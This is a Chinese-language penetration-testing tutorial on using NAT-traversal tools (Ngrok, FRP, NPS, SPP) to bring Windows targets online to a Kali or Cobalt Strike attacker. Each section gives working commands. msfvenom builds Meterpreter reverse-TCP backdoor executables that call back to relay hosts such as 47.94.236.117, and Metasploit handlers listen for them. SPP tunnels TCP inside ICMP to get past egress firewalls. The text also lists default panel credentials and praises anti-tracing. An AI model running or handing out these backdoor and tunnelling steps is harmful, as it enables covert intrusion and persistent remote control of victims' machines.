这个技术可以解决的问题:
内网穿透(NAT traversal)是一种技术,用于实现公网与内网之间的通信连接。当内网中的设备无法直接从公网访问时,内网穿透技术可以通过一些手段,让公网上的设备能够穿透到内网中的设备,建立起通信连接。
内网穿透的原理可以简单描述如下:
目标:xiaodi8.com上线Kali的CS
正向连接:Kali主动连接xiaodi8.com,可行
反向连接:xiaodi8.com连接Kali,不可行
为了解决反向连接的问题,需要使用内网穿透技术,实现外部主机连接进入内网。这就是内网技术的意义所在。
一般使用工具项目部署,穿透项目:Ngrok,Frp,Spp,Nps,EW(停止更新,不再维护,不推荐)
https://www.ngrok.cc
https://github.com/esrrhs/spp
https://github.com/fatedier/frp
https://github.com/ehang-io/nps
http://www.rootkiter.com/EarthWorm
优点:穿透加密数据,中间平台,防追踪,解决网络问题
项目地址:https://www.ngrok.cc/
免费版:仅支持三种协议,http,https,tcp
开通隧道,设置Kali内网IP,Port,以及服务器开放的端口
Kali执行客户端,这个过程相当于Kali主动连接域名
./sunny clientid 203828291918
生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10039 -f exe -o tcp.exe
开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2233
run
目标上线
项目地址:https://github.com/fatedier/frp
需要一台服务器
frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。
服务端
服务器修改配置文件frps.ini 隧道建立绑定在7000端口
[common] bind_port = 7000
启动服务端
./frps -c ./frps.ini
客户端
修改配置文件frpc.ini
隧道建立绑定在7000端口
服务端的6000端口受到数据会自动转发到本地的5555端口
[common]
server_addr = 47.94.236.117
server_port = 7000
[msf]
type=tcp
local_ip=127.0.0.1
local_port=5555
remote_port=6000
启动客户端
./frpc -c ./frpc.ini
客户端与服务端建立连接
生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6000 -f exe -o frp.exe
开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit
上线
相当于服务端搭建一个ngrok
项目地址:https://github.com/ehang-io/nps
下载项目到服务器,它有一个客户端,一个服务端
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
安装nps
./nps install
运行nps
./nps
默认运行地址
http://IP:8080/
默认登录账号密码
admin/123
创建客户端,生成密匙
添加协议隧道,绑定指向
将访问服务器5566端口的流量发送至客户端的6666端口
连接服务端
./npc -server=47.94.236.117:8024 -vkey=uajwhbu9155qh89v #创建客户端后自动生成密钥
生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5566 -f exe -o nps.exe
监听本地6666
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run
上线
项目地址:GitHub - esrrhs/spp: A simple and powerful proxy
支持的协议:tcp、udp、udp、icmp、http、kcp、quic
支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。
在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。
服务端运行,监听本地的ICMP流量
./spp -type server -proto ricmp -listen 0.0.0.0
受控靶机运行,将本地5555端口流量转发至47.94.236.117 80端口上(TCP封装成ICMP)
spp -name “test” -type proxy_client -server 47.94.236.117 -fromaddr :5555 -toaddr :80 -proxyproto tcp -proto ricmp
服务端收到数据
这个CS是运行在服务端的
创建两个监听器:
监听器1:http 47.94.236.117 8081
监听器2:http 127.0.0.1 8082生成后门放到靶机上执行
上线,生成监听器2的木马,上线监听器1
区别于代理技术,隧道技术,三种技术都有解决通讯的问题,但是侧重不一样
代理技术可以把外网攻击机带进内网进行渗透
隧道技术解决了因为防火墙限制流量不出网的问题
内网穿透解决和内网主机建立连接的问题,可以远程访问内网的服务器
要根据不同使用场景来选择使用。